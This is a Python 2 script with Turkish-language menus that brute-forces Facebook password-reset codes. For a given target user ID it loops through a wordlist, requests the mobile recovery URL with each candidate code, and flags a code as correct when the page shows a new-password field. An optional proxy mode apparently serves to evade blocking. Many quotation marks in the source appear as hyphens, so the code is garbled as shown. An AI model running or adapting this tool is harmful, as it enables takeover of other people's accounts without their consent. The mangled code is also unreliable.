import urllib2 ,sys ,re
import os
import ssl
import time
def cls():
linux = 'clear'
windows = 'cls'
os.system([linux,windows][os.name == 'nt'])
cls()
os.system([--,'color D'][os.name == 'nt'])
if len(sys.argv) != 3:
print -\n\n[#] Kullanimi : Python noname.py TARGET[FB_ID] [WORDLIST] -
sys.exit()
target = sys.argv[1]
wordlist = sys.argv[2]
while True:
print ---
============ Menu ==============
1- Proxy olmadan / Reset Facebook
2- Proxy kullan :v :v
---
choice=raw_input("Seciminizi giriniz : -)
if choice=="1":
try:
word = open(wordlist, 'r').readlines()
print -[+] Facebook liste yukleniyor \!/\n[+] Icerik:-,len(word)
except("IOError"):
print -[-] Liste yuklenemedi !-
sys.exit(1);
for w in word:
w = w.rstrip()
try:
target = 'https://m.facebook.com/recover/password?u=-+target+-&n=-+w
get = urllib2.urlopen(target).read()
except IOError:
print - Sunucuya gondermekte zorlaniyorum /Hata"
search = re.search('password_new', get)
if search:
print -[+] Kod -+w+- Dogru ^___^ -
else:
print -[+] Kod -+w+- Yanlis :/ -
else:
print ---
Proxy ile sifre sifirlamaya hosgeldin
Kullanimi : [ip:port]
---
ip_proxy=raw_input("Proxy giriniz: -)
print -[##] Proxy Kullanilmis : -+ip_proxy
proxy = urllib2.ProxyHandler({'http': ip_proxy})
opener = urllib2.build_opener(proxy)
urllib2.install_opener(opener)
#ip = urllib2.urlopen('http://checkip.dyndns.org').read()
#theIP = re.findall(r"\d{1,3}\.\d{1,3}\.\d{1,3}.\d{1,3}-, ip)
#print theIP
#datum = response.read()
#response.close()
#print datum
try:
word = open(wordlist, 'r').readlines()
print -[+] Facebook liste yukleniyor \!/\n[+] Icerik:-,len(word)
except("IOError"):
print -[-] Liste yuklenemedi !-
sys.exit(1);
for w in word:
w = w.rstrip()
try:
target = 'https://m.facebook.com/recover/password?u=-+target+-&n=-+w
get = urllib2.urlopen(target).read()
except IOError:
print - Sunucuya gondermekte zorlaniyorum /Hata -
search = re.search('password_new', get)
if search:
print -[+] Kod -+w+- Dogru ^___^ -
else:
print -[+] Kod -+w+- Yanlis :/ -